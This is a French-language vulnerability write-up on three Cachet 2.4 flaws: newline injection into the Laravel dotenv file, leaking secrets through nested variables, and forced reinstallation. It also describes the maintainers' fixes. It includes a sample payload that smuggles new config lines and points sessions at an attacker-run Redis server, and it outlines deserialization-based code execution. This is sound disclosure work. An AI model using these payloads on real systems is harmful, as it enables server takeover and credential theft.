Cachet 2.4 : Exécution de Code par Injection dans la Configuration Laravel

Aucune validation n’est effectuée sur les données entrantes : tant que l’entrée de configuration existe déjà, elle sera remplacée par une valeur provenant du paramètre. Si un attaquant fournit une valeur contenant de nouvelles lignes, cela créera de nouvelles entrées dans le fichier dotenv et peut modifier les fonctionnalités au niveau du framework.

Note: seule la première définition d’une variable dans un fichier dotenv sera utilisée; les suivantes seront ignorées. 

Dans les projets Laravel, cette primitive suffit pour obtenir une exécution de code arbitraire. La configuration initiale dotenv du fichier ressemblera probablement à ceci dans la plupart des instances:

.env:

APP_ENV=production
[...]
DEBUGBAR_ENABLED=false
DB_DRIVER=sqlite
[...]
DB_PREFIX=
CACHE_DRIVER=file
SESSION_DRIVER=file
QUEUE_DRIVER=array
MAIL_DRIVER=smtp
MAIL_HOST=foo
[...]
REDIS_HOST=null
REDIS_DATABASE=null
REDIS_PORT=null

Les attaquants pourraient remplacer la clé CACHE_DRIVER et enregistrer un serveur Redis sous leur contrôle en tant que nouveau backend de session :

file\nREDIS_HOST=some.remote.server\nREDIS_DATABASE=0\nREDIS_PORT=6379\nSESSION_DRIVER=redis

Après avoir envoyé une requête qui définit CACHE_DRIVER à cette valeur, le fichier dotenv ressemblera à ceci :

.env:

APP_ENV=production 
APP_DEBUG=false 
APP_URL=http://cachet.internal 
APP_TIMEZONE=UTC 
// [...] 
CACHE_DRIVER=file 
REDIS_HOST=some.remote.server 
REDIS_DATABASE=0 
REDIS_PORT=6379 
SESSION_DRIVER=redis 
SESSION_DRIVER=file 
QUEUE_DRIVER=null
// [...]

Comme les sessions Laravel sont sérialisées à l’aide du format natif de PHP, elles sont analysées avec la fonction unserialize(). Il s’agit d’une faiblesse connue qui peut être exploitée pour l’exécution de code arbitraire en utilisant une séquence d’objets spécialement conçus, un concept appelé « chaînes pop ». L’outil PHPGGC peut générer de telles chaînes pour les projets Laravel. 

Il peut exister d’autres façons d’exploiter l’exécution de commandes à partir d’une injection de nouvelle ligne dans un fichier dotenv, mais nous n’avons pas poursuivi plus de recherches dans cette direction. Mon équipe et moi sommes curieux de savoir si vous connaissez d’autres techniques, cependant !

CVE-2021-39174 : Fuite de configuration

Comme je l’ai décrit dans la section précédente, on peut avoir un contrôle direct de lecture et d’écriture sur les valeurs stockées dans le fichier dotenv. L’écriture dans ce fichier conduit finalement à l’exécution de code arbitraire, mais peut-il également être exploité par le fait que les valeurs de ce fichier sont affichées dans l’interface ?

La documentation de vlucas/phpdotenv décrit qu’elle prend en charge l’affectation de variables imbriquées : lors de la déclaration d’une variable, vous pouvez faire référence à une variable précédemment déclarée avec la syntaxe ${NAME}.

Cette fonctionnalité est pratique : en faisant référence à une autre variable dans une entrée du fichier de configuration dotenv et en affichant cette entrée dans l’interface, elle révèle la valeur d’une autre variable. 

Il est déjà largement documenté que la fuite de APP_KEY peut conduire à l’exécution de code si le pilote de session est défini sur cookie, et cette primitive peut également être utilisée pour divulguer DB_PASSWORD et MAIL_PASSWORD afin d’effectuer des attaques supplémentaires.

CVE-2021-39173 : Reinstallation forcée

La page de configuration ne peut pas être consultée si l’instance est déjà installée, comme cela est mis en œuvre dans le middleware. SetupAlreadyCompleted:

app/Http/Middleware/SetupAlreadyCompleted.php:

settings->get('app_name')) {               
                  return cachet_redirect('dashboard');          
             }      
         } catch (ReadException $e) {          
            // pas configuré alors !      
         }        
         
         return $next($request);   
  } 
}

Le contrôle repose uniquement sur la valeur de la configuration : si elle n’est pas définie ou vide, le middleware considérera que l’instance est installée.

Dans le cas où vous vous demandez quoi d’autre peut être évalué comme faux, voici un bref aperçu du système de typage de PHP lors des comparaisons jusqu’à PHP 8. Les comparaisons peuvent être effectuées en utilisant un contrôle d’égalité (==) ou un contrôle d’identité (===). Les contrôles d’égalité impliquent que le type des opérandes n’est pas pris en compte, et les chaînes peuvent être converties en nombres auparavant. Ce comportement a été nommé « jonglerie de types » et a été exploité dans diverses vulnérabilités de la vie réelle (CVE-2017-1001000, CVE-2019-10231). Dans le cas de la comparaison ci-dessus, toute valeur égale à une chaîne vide ou « 0 » sera évaluée false et donnera accès aux pages de configuration.

La valeur de app_name n’est pas validée lors de la mise à jour des paramètres dans SettingsController@postSettings, à [1]:

app/Http/Controllers/Dashboard/SettingsController.php:

<?php
class SettingsController extends Controller
{  
   // [...]   
   public function postSettings()  
   {      
       $setting = app(Repository::class);      
       // [...]      
       $parameters = Binput::all();       
      // [...]      
      $excludedParams = [           
        '_token',          
        'app_banner',          
        'remove_banner',          
        'header',           
        'footer',           
        'stylesheet',      
     ];       
     try {          
         foreach (Binput::except($excludedParams) as $settingName =>
 $settingValue) {              
                if ($settingName === 'app_analytics_pi_url') {                      
                        $settingValue = rtrim($settingValue, '/');             
                }              
                $setting->set($settingName, $settingValue); // <-- [1]
// [...]

Par conséquent, un utilisateur authentifié peut la mettre à jour avec une valeur évaluée à faux, puis accéder/configurer à nouveau pour réinstaller l’instance avec un nouveau compte d’administrateur (élévation des privilèges) ou exploiter notre première découverte et obtenir une exécution de code (rappelez-vous, UpdateConfigCommandHandler peut également être exploité à partir de ce chemin de code).

Correctif

La vulnérabilité d’injection de nouvelle ligne (CVE-2021-39172) a été résolue en améliorant la validation des valeurs entrantes dans UpdateConfigCommandHandler, rejetant toute modification contenant des caractères de nouvelle ligne.

Le bug de fuite de configuration (CVE-2021-39174) était plus complexe à corriger, car la dernière version de la bibliothèque dotenv ne pouvait pas être importée en raison des dépendances existantes. À la place, le code pertinent a été adapté pour permettre au gestionnaire de commandes de détecter si une valeur contient une variable imbriquée.

Enfin, il n’est pas possible de forcer une réinstallation des instances existantes (CVE-2021-39173) grâce à des contrôles améliorés dans le middleware touché.

Chronologie

Résumé

Dans cet article, j’ai analysé trois vulnérabilités dans Cachet et démontré la possibilité de prendre le contrôle des instances avec seulement des permissions de base d’utilisateur en utilisant les fichiers de configuration Laravel. J’ai également décrit les correctifs appliqués par les responsables et comment ils empêchent les attaques que j’ai présentées.

Enfin, mon équipe et moi tenons à remercier les responsables de la branche FiveAI de Cachet pour avoir reconnu notre avis et corrigé ces vulnérabilités de manière rapide et professionnelle.